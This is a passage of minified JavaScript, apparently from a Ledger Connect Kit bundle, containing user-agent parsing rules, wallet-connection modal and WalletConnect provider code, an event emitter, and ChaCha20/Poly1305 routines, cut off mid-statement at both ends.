/;return{name:i.default.getFirstMatch(t,e),version:i.default.getSecondMatch(t,e)}}}];t.default=s,e.exports=t.default},93:function(e,t,n){t.__esModule=!0,t.default=void 0;var r,i=(r=n(17))&&r.__esModule?r:{default:r},o=n(18),s=[{test:[/Roku\/DVP/],describe:function(e){var t=i.default.getFirstMatch(/Roku\/DVP-(\d+\.\d+)/i,e);return{name:o.OS_MAP.Roku,version:t}}},{test:[/windows phone/i],describe:function(e){var t=i.default.getFirstMatch(/windows phone (?:os)?\s?(\d+(\.\d+)*)/i,e);return{name:o.OS_MAP.WindowsPhone,version:t}}},{test:[/windows /i],describe:function(e){var t=i.default.getFirstMatch(/Windows ((NT|XP)( \d\d?.\d)?)/i,e),n=i.default.getWindowsVersionName(t);return{name:o.OS_MAP.Windows,version:t,versionName:n}}},{test:[/Macintosh(.*?) FxiOS(.*?)\//],describe:function(e){var t={name:o.OS_MAP.iOS},n=i.default.getSecondMatch(/(Version\/)(\d[\d.]+)/,e);return n&&(t.version=n),t}},{test:[/macintosh/i],describe:function(e){var t=i.default.getFirstMatch(/mac os x (\d+(\.?_?\d+)+)/i,e).replace(/[_\s]/g,"."),n=i.default.getMacOSVersionName(t),r={name:o.OS_MAP.MacOS,version:t};return n&&(r.versionName=n),r}},{test:[/(ipod|iphone|ipad)/i],describe:function(e){var t=i.default.getFirstMatch(/os (\d+([_\s]\d+)*) like mac os x/i,e).replace(/[_\s]/g,".");return{name:o.OS_MAP.iOS,version:t}}},{test:function(e){var t=!e.test(/like android/i),n=e.test(/android/i);return t&&n},describe:function(e){var t=i.default.getFirstMatch(/android[\s/-](\d+(\.\d+)*)/i,e),n=i.default.getAndroidVersionName(t),r={name:o.OS_MAP.Android,version:t};return n&&(r.versionName=n),r}},{test:[/(web|hpw)[o0]s/i],describe:function(e){var t=i.default.getFirstMatch(/(?:web|hpw)[o0]s\/(\d+(\.\d+)*)/i,e),n={name:o.OS_MAP.WebOS};return t&&t.length&&(n.version=t),n}},{test:[/blackberry|\bbb\d+/i,/rim\stablet/i],describe:function(e){var t=i.default.getFirstMatch(/rim\stablet\sos\s(\d+(\.\d+)*)/i,e)||i.default.getFirstMatch(/blackberry\d+\/(\d+([_\s]\d+)*)/i,e)||i.default.getFirstMatch(/\bbb(\d+)/i,e);return{name:o.OS_MAP.BlackBerry,version:t}}},{test:[/bada/i],describe:function(e){var t=i.default.getFirstMatch(/bada\/(\d+(\.\d+)*)/i,e);return{name:o.OS_MAP.Bada,version:t}}},{test:[/tizen/i],describe:function(e){var t=i.default.getFirstMatch(/tizen[/\s](\d+(\.\d+)*)/i,e);return{name:o.OS_MAP.Tizen,version:t}}},{test:[/linux/i],describe:function(){return{name:o.OS_MAP.Linux}}},{test:[/CrOS/],describe:function(){return{name:o.OS_MAP.ChromeOS}}},{test:[/PlayStation 4/],describe:function(e){var t=i.default.getFirstMatch(/PlayStation 4[/\s](\d+(\.\d+)*)/i,e);return{name:o.OS_MAP.PlayStation4,version:t}}}];t.default=s,e.exports=t.default},94:function(e,t,n){t.__esModule=!0,t.default=void 0;var r,i=(r=n(17))&&r.__esModule?r:{default:r},o=n(18),s=[{test:[/googlebot/i],describe:function(){return{type:"bot",vendor:"Google"}}},{test:[/huawei/i],describe:function(e){var t=i.default.getFirstMatch(/(can-l01)/i,e)&&"Nova",n={type:o.PLATFORMS_MAP.mobile,vendor:"Huawei"};return t&&(n.model=t),n}},{test:[/nexus\s*(?:7|8|9|10).*/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Nexus"}}},{test:[/ipad/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Apple",model:"iPad"}}},{test:[/Macintosh(.*?) FxiOS(.*?)\//],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Apple",model:"iPad"}}},{test:[/kftt build/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Amazon",model:"Kindle Fire HD 7"}}},{test:[/silk/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Amazon"}}},{test:[/tablet(?! pc)/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet}}},{test:function(e){var t=e.test(/ipod|iphone/i),n=e.test(/like (ipod|iphone)/i);return t&&!n},describe:function(e){var t=i.default.getFirstMatch(/(ipod|iphone)/i,e);return{type:o.PLATFORMS_MAP.mobile,vendor:"Apple",model:t}}},{test:[/nexus\s*[0-6].*/i,/galaxy nexus/i],describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"Nexus"}}},{test:[/[^-]mobi/i],describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(e){return"blackberry"===e.getBrowserName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"BlackBerry"}}},{test:function(e){return"bada"===e.getBrowserName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(e){return"windows phone"===e.getBrowserName()},describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"Microsoft"}}},{test:function(e){var t=Number(String(e.getOSVersion()).split(".")[0]);return"android"===e.getOSName(!0)&&t>=3},describe:function(){return{type:o.PLATFORMS_MAP.tablet}}},{test:function(e){return"android"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(e){return"macos"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop,vendor:"Apple"}}},{test:function(e){return"windows"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop}}},{test:function(e){return"linux"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop}}},{test:function(e){return"playstation 4"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.tv}}},{test:function(e){return"roku"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.tv}}}];t.default=s,e.exports=t.default},95:function(e,t,n){t.__esModule=!0,t.default=void 0;var r,i=(r=n(17))&&r.__esModule?r:{default:r},o=n(18),s=[{test:function(e){return"microsoft edge"===e.getBrowserName(!0)},describe:function(e){if(/\sedg\//i.test(e))return{name:o.ENGINE_MAP.Blink};var t=i.default.getFirstMatch(/edge\/(\d+(\.?_?\d+)+)/i,e);return{name:o.ENGINE_MAP.EdgeHTML,version:t}}},{test:[/trident/i],describe:function(e){var t={name:o.ENGINE_MAP.Trident},n=i.default.getFirstMatch(/trident\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:function(e){return e.test(/presto/i)},describe:function(e){var t={name:o.ENGINE_MAP.Presto},n=i.default.getFirstMatch(/presto\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:function(e){var t=e.test(/gecko/i),n=e.test(/like gecko/i);return t&&!n},describe:function(e){var t={name:o.ENGINE_MAP.Gecko},n=i.default.getFirstMatch(/gecko\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/(apple)?webkit\/537\.36/i],describe:function(){return{name:o.ENGINE_MAP.Blink}}},{test:[/(apple)?webkit/i],describe:function(e){var t={name:o.ENGINE_MAP.WebKit},n=i.default.getFirstMatch(/webkit\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}}];t.default=s,e.exports=t.default}})}(zs);var Fs=f(zs.exports);function Bs(){const e=Fs.getParser(window.navigator.userAgent),t=e.getOS(),n=e.getBrowser(),{type:r}=e.getPlatform();return function(){var e,t;return"isBrave"===(null===(t=null===(e=window.navigator.brave)||void 0===e?void 0:e.isBrave)||void 0===t?void 0:t.name)}()&&(n.name="Brave"),{type:r,os:t,browser:n}}let Hs=null;function qs(e,t){if(!Hs){const e=document.body,t=document.createElement("div");t.className="ledger-ck-modal",e.appendChild(t),Hs=ns(t)}if(Hs&&e){let n;switch(e){case"UseLedgerLiveModal":n=y.exports.jsx(Ms,Object.assign({},t));break;case"PlatformNotSupportedModal":n=y.exports.jsx(Ds,{});break;case"ExtensionInstallModal":n=y.exports.jsx(hs,Object.assign({},t))}Hs.render(n)}Jo(!0)}function Vs(e){const t=Bs(),n=(nl("getSupportResult"),rl);Kc(),!(null===localStorage||void 0===localStorage?void 0:localStorage.getItem("connectKit_forceWcV2"))&&!(null===localStorage||void 0===localStorage?void 0:localStorage.getItem("connectKit_forceWcV1"))&&n.isLedgerConnectSupported&&n.isChainIdSupported?qs("ExtensionInstallModal",{onClose:e.onClose}):qs("UseLedgerLiveModal",{isDesktop:"desktop"===t.type,uri:e.uri,onClose:e.onClose})}const $s=r("WalletConnectLegacy"),Ws=i("WalletConnectLegacy");function Ks(){return c(this,void 0,void 0,(function*(){$s("getWalletConnectLegacyProvider");try{const e=yield function(){return c(this,void 0,void 0,(function*(){$s("initWalletConnectLegacyProvider");const e=Kc();return $s("walletConnectProviderOptions is",e),$s("created a new legacy provider instance"),new g({chainId:e.chainId,bridge:e.bridge,infuraId:e.infuraId,rpc:e.rpc,qrcode:!1})}))}();return function(e){function t(e){$s("connectHandler",e),Jo(!1)}function n(t,r){$s("disconnectHandler",t,r),"undefined"!=typeof localStorage&&localStorage.removeItem("walletconnect"),e.removeListener("disconnect",n)}$s("assignWalletConnectLegacyProviderEvents"),e.on("connect",t),e.on("disconnect",n)}(e),e.request=function(e){$s("patchWalletConnectLegacyProviderRequest");const t=e.request.bind(e),n=Kc();return function({method:r,params:i}){return c(this,void 0,void 0,(function*(){return"eth_requestAccounts"===r?($s("calling patched",r,i),new Promise(((o,s)=>c(this,void 0,void 0,(function*(){try{if(!e.connected)return yield e.connector.createSession({chainId:n.chainId}),$s("created a new session"),Vs({uri:e.connector.uri,onClose:()=>{Ws("user rejected"),s(new a)}}),o(yield t({method:r,params:i}));$s("reusing existing session"),o(yield t({method:r,params:i}))}catch(e){return Ws("error",e),s(e)}}))))):($s("calling provider",r,i),yield t({method:r,params:i}))}))}}(e),e}catch(e){const t=e instanceof Error?e:new Error(String(e));throw Ws("error",t),t}}))}var Gs,Ys={exports:{}},Qs="object"==typeof Reflect?Reflect:null,Js=Qs&&"function"==typeof Qs.apply?Qs.apply:function(e,t,n){return Function.prototype.apply.call(e,t,n)};Gs=Qs&&"function"==typeof Qs.ownKeys?Qs.ownKeys:Object.getOwnPropertySymbols?function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:function(e){return Object.getOwnPropertyNames(e)};var Xs=Number.isNaN||function(e){return e!=e};function Zs(){Zs.init.call(this)}Ys.exports=Zs,Ys.exports.once=function(e,t){return new Promise((function(n,r){function i(n){e.removeListener(t,o),r(n)}function o(){"function"==typeof e.removeListener&&e.removeListener("error",i),n([].slice.call(arguments))}ca(e,t,o,{once:!0}),"error"!==t&&function(e,t,n){"function"==typeof e.on&&ca(e,"error",t,n)}(e,i,{once:!0})}))},Zs.EventEmitter=Zs,Zs.prototype._events=void 0,Zs.prototype._eventsCount=0,Zs.prototype._maxListeners=void 0;var ea=10;function ta(e){if("function"!=typeof e)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof e)}function na(e){return void 0===e._maxListeners?Zs.defaultMaxListeners:e._maxListeners}function ra(e,t,n,r){var i,o,s,a;if(ta(n),void 0===(o=e._events)?(o=e._events=Object.create(null),e._eventsCount=0):(void 0!==o.newListener&&(e.emit("newListener",t,n.listener?n.listener:n),o=e._events),s=o[t]),void 0===s)s=o[t]=n,++e._eventsCount;else if("function"==typeof s?s=o[t]=r?[n,s]:[s,n]:r?s.unshift(n):s.push(n),(i=na(e))>0&&s.length>i&&!s.warned){s.warned=!0;var u=new Error("Possible EventEmitter memory leak detected. "+s.length+" "+String(t)+" listeners added. Use emitter.setMaxListeners() to increase limit");u.name="MaxListenersExceededWarning",u.emitter=e,u.type=t,u.count=s.length,a=u,console&&console.warn&&console.warn(a)}return e}function ia(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,0===arguments.length?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function oa(e,t,n){var r={fired:!1,wrapFn:void 0,target:e,type:t,listener:n},i=ia.bind(r);return i.listener=n,r.wrapFn=i,i}function sa(e,t,n){var r=e._events;if(void 0===r)return[];var i=r[t];return void 0===i?[]:"function"==typeof i?n?[i.listener||i]:[i]:n?function(e){for(var t=new Array(e.length),n=0;n<t.length;++n)t[n]=e[n].listener||e[n];return t}(i):ua(i,i.length)}function aa(e){var t=this._events;if(void 0!==t){var n=t[e];if("function"==typeof n)return 1;if(void 0!==n)return n.length}return 0}function ua(e,t){for(var n=new Array(t),r=0;r<t;++r)n[r]=e[r];return n}function ca(e,t,n,r){if("function"==typeof e.on)r.once?e.once(t,n):e.on(t,n);else{if("function"!=typeof e.addEventListener)throw new TypeError('The "emitter" argument must be of type EventEmitter. Received type '+typeof e);e.addEventListener(t,(function i(o){r.once&&e.removeEventListener(t,i),n(o)}))}}Object.defineProperty(Zs,"defaultMaxListeners",{enumerable:!0,get:function(){return ea},set:function(e){if("number"!=typeof e||e<0||Xs(e))throw new RangeError('The value of "defaultMaxListeners" is out of range. It must be a non-negative number. Received '+e+".");ea=e}}),Zs.init=function(){void 0!==this._events&&this._events!==Object.getPrototypeOf(this)._events||(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},Zs.prototype.setMaxListeners=function(e){if("number"!=typeof e||e<0||Xs(e))throw new RangeError('The value of "n" is out of range. It must be a non-negative number. Received '+e+".");return this._maxListeners=e,this},Zs.prototype.getMaxListeners=function(){return na(this)},Zs.prototype.emit=function(e){for(var t=[],n=1;n<arguments.length;n++)t.push(arguments[n]);var r="error"===e,i=this._events;if(void 0!==i)r=r&&void 0===i.error;else if(!r)return!1;if(r){var o;if(t.length>0&&(o=t[0]),o instanceof Error)throw o;var s=new Error("Unhandled error."+(o?" ("+o.message+")":""));throw s.context=o,s}var a=i[e];if(void 0===a)return!1;if("function"==typeof a)Js(a,this,t);else{var u=a.length,c=ua(a,u);for(n=0;n<u;++n)Js(c[n],this,t)}return!0},Zs.prototype.addListener=function(e,t){return ra(this,e,t,!1)},Zs.prototype.on=Zs.prototype.addListener,Zs.prototype.prependListener=function(e,t){return ra(this,e,t,!0)},Zs.prototype.once=function(e,t){return ta(t),this.on(e,oa(this,e,t)),this},Zs.prototype.prependOnceListener=function(e,t){return ta(t),this.prependListener(e,oa(this,e,t)),this},Zs.prototype.removeListener=function(e,t){var n,r,i,o,s;if(ta(t),void 0===(r=this._events))return this;if(void 0===(n=r[e]))return this;if(n===t||n.listener===t)0==--this._eventsCount?this._events=Object.create(null):(delete r[e],r.removeListener&&this.emit("removeListener",e,n.listener||t));else if("function"!=typeof n){for(i=-1,o=n.length-1;o>=0;o--)if(n[o]===t||n[o].listener===t){s=n[o].listener,i=o;break}if(i<0)return this;0===i?n.shift():function(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}(n,i),1===n.length&&(r[e]=n[0]),void 0!==r.removeListener&&this.emit("removeListener",e,s||t)}return this},Zs.prototype.off=Zs.prototype.removeListener,Zs.prototype.removeAllListeners=function(e){var t,n,r;if(void 0===(n=this._events))return this;if(void 0===n.removeListener)return 0===arguments.length?(this._events=Object.create(null),this._eventsCount=0):void 0!==n[e]&&(0==--this._eventsCount?this._events=Object.create(null):delete n[e]),this;if(0===arguments.length){var i,o=Object.keys(n);for(r=0;r<o.length;++r)"removeListener"!==(i=o[r])&&this.removeAllListeners(i);return this.removeAllListeners("removeListener"),this._events=Object.create(null),this._eventsCount=0,this}if("function"==typeof(t=n[e]))this.removeListener(e,t);else if(void 0!==t)for(r=t.length-1;r>=0;r--)this.removeListener(e,t[r]);return this},Zs.prototype.listeners=function(e){return sa(this,e,!0)},Zs.prototype.rawListeners=function(e){return sa(this,e,!1)},Zs.listenerCount=function(e,t){return"function"==typeof e.listenerCount?e.listenerCount(t):aa.call(e,t)},Zs.prototype.listenerCount=aa,Zs.prototype.eventNames=function(){return this._eventsCount>0?Gs(this._events):[]};var la={},fa={},ha={};!function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.mul=Math.imul||function(e,t){var n=65535&e,r=65535&t;return n*r+((e>>>16&65535)*r+n*(t>>>16&65535)<<16>>>0)|0},e.add=function(e,t){return e+t|0},e.sub=function(e,t){return e-t|0},e.rotl=function(e,t){return e<<t|e>>>32-t},e.rotr=function(e,t){return e<<32-t|e>>>t},e.isInteger=Number.isInteger||function(e){return"number"==typeof e&&isFinite(e)&&Math.floor(e)===e},e.MAX_SAFE_INTEGER=9007199254740991,e.isSafeInteger=function(t){return e.isInteger(t)&&t>=-e.MAX_SAFE_INTEGER&&t<=e.MAX_SAFE_INTEGER}}(ha),Object.defineProperty(fa,"__esModule",{value:!0});var da=ha;function pa(e,t,n){return void 0===t&&(t=new Uint8Array(2)),void 0===n&&(n=0),t[n+0]=e>>>8,t[n+1]=e>>>0,t}function ga(e,t,n){return void 0===t&&(t=new Uint8Array(2)),void 0===n&&(n=0),t[n+0]=e>>>0,t[n+1]=e>>>8,t}function ya(e,t){return void 0===t&&(t=0),e[t]<<24|e[t+1]<<16|e[t+2]<<8|e[t+3]}function va(e,t){return void 0===t&&(t=0),(e[t]<<24|e[t+1]<<16|e[t+2]<<8|e[t+3])>>>0}function ma(e,t){return void 0===t&&(t=0),e[t+3]<<24|e[t+2]<<16|e[t+1]<<8|e[t]}function _a(e,t){return void 0===t&&(t=0),(e[t+3]<<24|e[t+2]<<16|e[t+1]<<8|e[t])>>>0}function ba(e,t,n){return void 0===t&&(t=new Uint8Array(4)),void 0===n&&(n=0),t[n+0]=e>>>24,t[n+1]=e>>>16,t[n+2]=e>>>8,t[n+3]=e>>>0,t}function wa(e,t,n){return void 0===t&&(t=new Uint8Array(4)),void 0===n&&(n=0),t[n+0]=e>>>0,t[n+1]=e>>>8,t[n+2]=e>>>16,t[n+3]=e>>>24,t}function Ea(e,t,n){return void 0===t&&(t=new Uint8Array(8)),void 0===n&&(n=0),ba(e/4294967296>>>0,t,n),ba(e>>>0,t,n+4),t}function Sa(e,t,n){return void 0===t&&(t=new Uint8Array(8)),void 0===n&&(n=0),wa(e>>>0,t,n),wa(e/4294967296>>>0,t,n+4),t}fa.readInt16BE=function(e,t){return void 0===t&&(t=0),(e[t+0]<<8|e[t+1])<<16>>16},fa.readUint16BE=function(e,t){return void 0===t&&(t=0),(e[t+0]<<8|e[t+1])>>>0},fa.readInt16LE=function(e,t){return void 0===t&&(t=0),(e[t+1]<<8|e[t])<<16>>16},fa.readUint16LE=function(e,t){return void 0===t&&(t=0),(e[t+1]<<8|e[t])>>>0},fa.writeUint16BE=pa,fa.writeInt16BE=pa,fa.writeUint16LE=ga,fa.writeInt16LE=ga,fa.readInt32BE=ya,fa.readUint32BE=va,fa.readInt32LE=ma,fa.readUint32LE=_a,fa.writeUint32BE=ba,fa.writeInt32BE=ba,fa.writeUint32LE=wa,fa.writeInt32LE=wa,fa.readInt64BE=function(e,t){void 0===t&&(t=0);var n=ya(e,t),r=ya(e,t+4);return 4294967296*n+r-4294967296*(r>>31)},fa.readUint64BE=function(e,t){return void 0===t&&(t=0),4294967296*va(e,t)+va(e,t+4)},fa.readInt64LE=function(e,t){void 0===t&&(t=0);var n=ma(e,t);return 4294967296*ma(e,t+4)+n-4294967296*(n>>31)},fa.readUint64LE=function(e,t){void 0===t&&(t=0);var n=_a(e,t);return 4294967296*_a(e,t+4)+n},fa.writeUint64BE=Ea,fa.writeInt64BE=Ea,fa.writeUint64LE=Sa,fa.writeInt64LE=Sa,fa.readUintBE=function(e,t,n){if(void 0===n&&(n=0),e%8!=0)throw new Error("readUintBE supports only bitLengths divisible by 8");if(e/8>t.length-n)throw new Error("readUintBE: array is too short for the given bitLength");for(var r=0,i=1,o=e/8+n-1;o>=n;o--)r+=t[o]*i,i*=256;return r},fa.readUintLE=function(e,t,n){if(void 0===n&&(n=0),e%8!=0)throw new Error("readUintLE supports only bitLengths divisible by 8");if(e/8>t.length-n)throw new Error("readUintLE: array is too short for the given bitLength");for(var r=0,i=1,o=n;o<n+e/8;o++)r+=t[o]*i,i*=256;return r},fa.writeUintBE=function(e,t,n,r){if(void 0===n&&(n=new Uint8Array(e/8)),void 0===r&&(r=0),e%8!=0)throw new Error("writeUintBE supports only bitLengths divisible by 8");if(!da.isSafeInteger(t))throw new Error("writeUintBE value must be an integer");for(var i=1,o=e/8+r-1;o>=r;o--)n[o]=t/i&255,i*=256;return n},fa.writeUintLE=function(e,t,n,r){if(void 0===n&&(n=new Uint8Array(e/8)),void 0===r&&(r=0),e%8!=0)throw new Error("writeUintLE supports only bitLengths divisible by 8");if(!da.isSafeInteger(t))throw new Error("writeUintLE value must be an integer");for(var i=1,o=r;o<r+e/8;o++)n[o]=t/i&255,i*=256;return n},fa.readFloat32BE=function(e,t){return void 0===t&&(t=0),new DataView(e.buffer,e.byteOffset,e.byteLength).getFloat32(t)},fa.readFloat32LE=function(e,t){return void 0===t&&(t=0),new DataView(e.buffer,e.byteOffset,e.byteLength).getFloat32(t,!0)},fa.readFloat64BE=function(e,t){return void 0===t&&(t=0),new DataView(e.buffer,e.byteOffset,e.byteLength).getFloat64(t)},fa.readFloat64LE=function(e,t){return void 0===t&&(t=0),new DataView(e.buffer,e.byteOffset,e.byteLength).getFloat64(t,!0)},fa.writeFloat32BE=function(e,t,n){return void 0===t&&(t=new Uint8Array(4)),void 0===n&&(n=0),new DataView(t.buffer,t.byteOffset,t.byteLength).setFloat32(n,e),t},fa.writeFloat32LE=function(e,t,n){return void 0===t&&(t=new Uint8Array(4)),void 0===n&&(n=0),new DataView(t.buffer,t.byteOffset,t.byteLength).setFloat32(n,e,!0),t},fa.writeFloat64BE=function(e,t,n){return void 0===t&&(t=new Uint8Array(8)),void 0===n&&(n=0),new DataView(t.buffer,t.byteOffset,t.byteLength).setFloat64(n,e),t},fa.writeFloat64LE=function(e,t,n){return void 0===t&&(t=new Uint8Array(8)),void 0===n&&(n=0),new DataView(t.buffer,t.byteOffset,t.byteLength).setFloat64(n,e,!0),t};var Oa={};Object.defineProperty(Oa,"__esModule",{value:!0}),Oa.wipe=function(e){for(var t=0;t<e.length;t++)e[t]=0;return e},Object.defineProperty(la,"__esModule",{value:!0});var xa=fa,Ia=Oa,Ra=20;function ka(e,t,n){for(var r=1634760805,i=857760878,o=2036477234,s=1797285236,a=n[3]<<24|n[2]<<16|n[1]<<8|n[0],u=n[7]<<24|n[6]<<16|n[5]<<8|n[4],c=n[11]<<24|n[10]<<16|n[9]<<8|n[8],l=n[15]<<24|n[14]<<16|n[13]<<8|n[12],f=n[19]<<24|n[18]<<16|n[17]<<8|n[16],h=n[23]<<24|n[22]<<16|n[21]<<8|n[20],d=n[27]<<24|n[26]<<16|n[25]<<8|n[24],p=n[31]<<24|n[30]<<16|n[29]<<8|n[28],g=t[3]<<24|t[2]<<16|t[1]<<8|t[0],y=t[7]<<24|t[6]<<16|t[5]<<8|t[4],v=t[11]<<24|t[10]<<16|t[9]<<8|t[8],m=t[15]<<24|t[14]<<16|t[13]<<8|t[12],_=r,b=i,w=o,E=s,S=a,O=u,x=c,I=l,R=f,k=h,C=d,P=p,A=g,N=y,T=v,M=m,L=0;L<Ra;L+=2)S=(S^=R=R+(A=(A^=_=_+S|0)>>>16|A<<16)|0)>>>20|S<<12,O=(O^=k=k+(N=(N^=b=b+O|0)>>>16|N<<16)|0)>>>20|O<<12,x=(x^=C=C+(T=(T^=w=w+x|0)>>>16|T<<16)|0)>>>20|x<<12,I=(I^=P=P+(M=(M^=E=E+I|0)>>>16|M<<16)|0)>>>20|I<<12,x=(x^=C=C+(T=(T^=w=w+x|0)>>>24|T<<8)|0)>>>25|x<<7,I=(I^=P=P+(M=(M^=E=E+I|0)>>>24|M<<8)|0)>>>25|I<<7,O=(O^=k=k+(N=(N^=b=b+O|0)>>>24|N<<8)|0)>>>25|O<<7,S=(S^=R=R+(A=(A^=_=_+S|0)>>>24|A<<8)|0)>>>25|S<<7,O=(O^=C=C+(M=(M^=_=_+O|0)>>>16|M<<16)|0)>>>20|O<<12,x=(x^=P=P+(A=(A^=b=b+x|0)>>>16|A<<16)|0)>>>20|x<<12,I=(I^=R=R+(N=(N^=w=w+I|0)>>>16|N<<16)|0)>>>20|I<<12,S=(S^=k=k+(T=(T^=E=E+S|0)>>>16|T<<16)|0)>>>20|S<<12,I=(I^=R=R+(N=(N^=w=w+I|0)>>>24|N<<8)|0)>>>25|I<<7,S=(S^=k=k+(T=(T^=E=E+S|0)>>>24|T<<8)|0)>>>25|S<<7,x=(x^=P=P+(A=(A^=b=b+x|0)>>>24|A<<8)|0)>>>25|x<<7,O=(O^=C=C+(M=(M^=_=_+O|0)>>>24|M<<8)|0)>>>25|O<<7;xa.writeUint32LE(_+r|0,e,0),xa.writeUint32LE(b+i|0,e,4),xa.writeUint32LE(w+o|0,e,8),xa.writeUint32LE(E+s|0,e,12),xa.writeUint32LE(S+a|0,e,16),xa.writeUint32LE(O+u|0,e,20),xa.writeUint32LE(x+c|0,e,24),xa.writeUint32LE(I+l|0,e,28),xa.writeUint32LE(R+f|0,e,32),xa.writeUint32LE(k+h|0,e,36),xa.writeUint32LE(C+d|0,e,40),xa.writeUint32LE(P+p|0,e,44),xa.writeUint32LE(A+g|0,e,48),xa.writeUint32LE(N+y|0,e,52),xa.writeUint32LE(T+v|0,e,56),xa.writeUint32LE(M+m|0,e,60)}function Ca(e,t,n,r,i){if(void 0===i&&(i=0),32!==e.length)throw new Error("ChaCha: key size must be 32 bytes");if(r.length<n.length)throw new Error("ChaCha: destination is shorter than source");var o,s;if(0===i){if(8!==t.length&&12!==t.length)throw new Error("ChaCha nonce must be 8 or 12 bytes");s=(o=new Uint8Array(16)).length-t.length,o.set(t,s)}else{if(16!==t.length)throw new Error("ChaCha nonce with counter must be 16 bytes");o=t,s=i}for(var a=new Uint8Array(64),u=0;u<n.length;u+=64){ka(a,o,e);for(var c=u;c<u+64&&c<n.length;c++)r[c]=n[c]^a[c-u];Pa(o,0,s)}return Ia.wipe(a),0===i&&Ia.wipe(o),r}function Pa(e,t,n){for(var r=1;n--;)r=r+(255&e[t])|0,e[t]=255&r,r>>>=8,t++;if(r>0)throw new Error("ChaCha: counter overflow")}la.streamXOR=Ca,la.stream=function(e,t,n,r){return void 0===r&&(r=0),Ia.wipe(n),Ca(e,t,n,n,r)};var Aa={},Na={};function Ta(e,t){if(e.length!==t.length)return 0;for(var n=0,r=0;r<e.length;r++)n|=e[r]^t[r];return 1&n-1>>>8}Object.defineProperty(Na,"__esModule",{value:!0}),Na.select=function(e,t,n){return~(e-1)&t|e-1&n},Na.lessOrEqual=function(e,t){return(0|e)-(0|t)-1>>>31&1},Na.compare=Ta,Na.equal=function(e,t){return 0!==e.length&&0!==t.length&&0!==Ta(e,t)},function(e){Object.defineProperty(e,"__esModule",{value:!0});var t=Na,n=Oa;e.DIGEST_LENGTH=16;var r=function(){function t(t){this.digestLength=e.DIGEST_LENGTH,this._buffer=new Uint8Array(16),this._r=new Uint16Array(10),this._h=new Uint16Array(10),this._pad=new Uint16Array(8),this._leftover=0,this._fin=0,this._finished=!1;var n=t[0]|t[1]<<8;this._r[0]=8191&n;var r=t[2]|t[3]<<8;this._r[1]=8191&(n>>>13|r<<3);var i=t[4]|t[5]<<8;this._r[2]=7939&(r>>>10|i<<6);var o=t[6]|t[7]<<8;this._r[3]=8191&(i>>>7|o<<9);var s=t[8]|t[9]<<8;this._r[4]=255&(o>>>4|s<<12),this._r[5]=s>>>1&8190;var a=t[10]|t[11]<<8;this._r[6]=8191&(s>>>14|a<<2);var u=t[12]|t[13]<<8;this._r[7]=8065&(a>>>11|u<<5);var c=t[14]|t[15]<<8;this._r[8]=8191&(u>>>8|c<<8),this._r[9]=c>>>5&127,this._pad[0]=t[16]|t[17]<<8,this._pad[1]=t[18]|t[19]<<8,this._pad[2]=t[20]|t[21]<<8,this._pad[3]=t[22]|t[23]<<8,this._pad[4]=t[24]|t[25]<<8,this._pad[5]=t[26]|t[27]<<8,this._pad[6]=t[28]|t[29]<<8,this._pad[7]=t[30]|t[31]<<8}return t.prototype._blocks=function(e,t,n){for(var r=this._fin?0:2048,i=this._h[0],o=this._h[1],s=this._h[2],a=this._h[3],u=this._h[4],c=this._h[5],l=this._h[6],f=this._h[7],h=this._h[8],d=this._h[9],p=this._r[0],g=this._r[1],y=this._r[2],v=this._r[3],m=this._r[4],_=this._r[5],b=this._r[6],w=this._r[7],E=this._r[8],S=this._r[9];n>=16;){var O=e[t+0]|e[t+1]<<8;i+=8191&O;var x=e[t+2]|e[t+3]<<8;o+=8191&(O>>>13|x<<3);var I=e[t+4]|e[t+5]<<8;s+=8191&(x>>>10|I<<6);var R=e[t+6]|e[t+7]<<8;a+=8191&(I>>>7|R<<9);var k=e[t+8]|e[t+9]<<8;u+=8191&(R>>>4|k<<12),c+=k>>>1&8191;var C=e[t+10]|e[t+11]<<8;l+=8191&(k>>>14|C<<2);var P=e[t+12]|e[t+13]<<8;f+=8191&(C>>>11|P<<5);var A=e[t+14]|e[t+15]<<8,N=0,T=N;T+=i*p,T+=o*(5*S),T+=s*(5*E),T+=a*(5*w),N=(T+=u*(5*b))>>>13,T&=8191,T+=c*(5*_),T+=l*(5*m),T+=f*(5*v),T+=(h+=8191&(P>>>8|A<<8))*(5*y);var M=N+=(T+=(d+=A>>>5|r)*(5*g))>>>13;M+=i*g,M+=o*p,M+=s*(5*S),M+=a*(5*E),N=(M+=u*(5*w))>>>13,M&=8191,M+=c*(5*b),M+=l*(5*_),M+=f*(5*m),M+=h*(5*v),N+=(M+=d*(5*y))>>>13,M&=8191;var 